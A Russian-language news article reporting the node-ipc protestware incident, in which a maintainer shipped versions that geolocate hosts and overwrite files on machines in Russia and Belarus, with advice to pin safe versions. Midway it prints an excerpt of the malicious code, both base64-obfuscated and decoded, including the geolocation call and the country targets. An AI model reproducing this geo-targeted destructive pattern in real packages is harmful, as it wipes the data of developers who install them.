Открытый софт ушел на войну: популярный npm-пакет удаляет файлы у проектов из России и Беларуси
Мантейнер популярного npm-пакета node-ipc выпустил обновленные версии своей библиотеки, где выразил протест против продолжающейся войны в Украине. Новые версии популярного пакета удаляют все данные и перезаписывают файлы на машинах разработчиков из России и Беларуси, а вместо оригинальных файлов создают текстовые файлы с призывами к миру.
Что случилось
8 марта разработчик Брэндон Миллер, известный в сети под ником RIAEvangelist, выложил опенсорсные пакеты peacenotwar и oneday-test (как на npm, так и на GitHub). Проекты были изначально созданы как политический протест, при запуске они добавляли на рабочий стол любого установившего их призыв к миру.
Кроме того, в последний версии известной библиотеки node-ipc, также сопровождаемой RIAEvangelist, им были внедрены более разрушительные пейлоады, направленные на уничтожение всех данных и перезапись файлов пользователей. Этот вредоносный код определяет внешний IP-адрес хост-системы на которой был запущен, после чего удаляет пользовательские данные всех пользователей из России и Беларуси.
Уязвимые версии
Издание Bleeping Computer сообщает, что деструктивный код содержат версии пакета 10.1.1 и 10.1.2, которые изучаются в записи CVE-2022-23812, где классифицируются как malware.
Поскольку node-ipc версий 9.2.2, 11.0.0 и более поздних включает в себя Peacenotwar, российско-белорусские пользователи также обнаруживают на рабочем столе послание «WITH-LOVE-FROM-AMERICA.txt
», где автор призывает к миру.
Так как дальнейшие действия автора (как и судьба пакета в целом) не понятны, всем пользователям node-ipc рекомендуется зафиксировать зависимости на безопасной версии 9.2.1. Зафиксировать версии также рекомендуется и для остальных разработок того же автора, который сопровождал 41 пакет.
Почему это опасно?
Приведем несколько фактов, позволяющих оценить масштаб и опасность этого инцидента.
- node-ipc загружают более 1 млн раз в неделю, пакет используется в качестве зависимости у 354 пакетов, которые также подвержены этой уязвимости.
- Это популярный пакет, на который полагаются многие другие библиотеки, включая, к примеру, сверхпопулярный Vue.js.
- Определение страны в коде осуществлялось через обращение к сервису api.ipgeolocation.io. В настоящее время API-ключ из вредоносной вставки, из которой осуществлялось обращение к ipgeolocation.io, заблокирован сервисом.
- В коде осуществлялся рекурсивный перебор каталогов с попыткой перезаписи всех встретившихся файлов.
- Сам вредоносный код может быть зашифрован/обфусцирован:
Пример исходного кода:
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try {
Пример расшифрованного кода с вредоносным пейлоадам:
const n = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = "./"; const o = "../"; const r = "../../"; const f = "/"; const c = "country_name"; const e = "russia"; const i = "belarus";
Война в других пакетах
Кроме громкого инцидента с node-ipc, также фиксируются и другие попытки скрытого добавления в различные открытые пакеты/проекты противоправных действий, не связанных с их прямой функциональностью и привязанных к IP-адресам или системной локали.
Можно привести следующие примеры уже скомпрометированных проектов:
es5-ext, rete, PHP composer, PHPUnit, Redis Desktop Manager, Awesome Prometheus Alerts, verdaccio, filestash.
Судя по перепискам в чатах, многие фронтендеры из России и Беларуси уже столкнулись с проблемами:
Коллеги, обращаем внимание, что популярная библиотека https://www.npmjs.com/package/es5-ext которая не обновлялась до этого 2 года начала получать регулярные обновления которые содержат как негативную пропаганду, так и код по таймзоне увеличивающий утилизацию ресурсов
Смотреть файл – _postinstall.js
Подробный список всех уязвимых пакетов/проектов можно найти в этом документе, который оперативно пополняется.
Реакция сообщества Open Source
Это уже второй громкий скандал от опенсорсного разработчика, с которым сообщество сталкивалось за последнее время. Первым протестующим стал автор библиотек faker и colors, которые насчитывают более 20 млн загрузок еженедельно только через npm.
RIAEvangelist, который в общей сложности поддерживает более 40 npm-пакетов, пошел еще дальше, внеся прямую деструктивную компоненту. Почти все сообщество, по обе стороны военного конфликта, согласно, что случившееся выходит за рамки «мирного протеста». Многие убеждены, что развертывание деструктивных полезных нагрузок в популярной библиотеке — опасный прецедент, который может подорвать в будущем принципы и устои опенсорсного сообщества.
На данный момент, столкнувшись с таким резонансом в сообществе, RIAEvangelist пытается замести следы и активно редактирует и удаляет свои предыдущие комментарии и коммиты
Сообщить об опечатке
Текст, который будет отправлен нашим редакторам: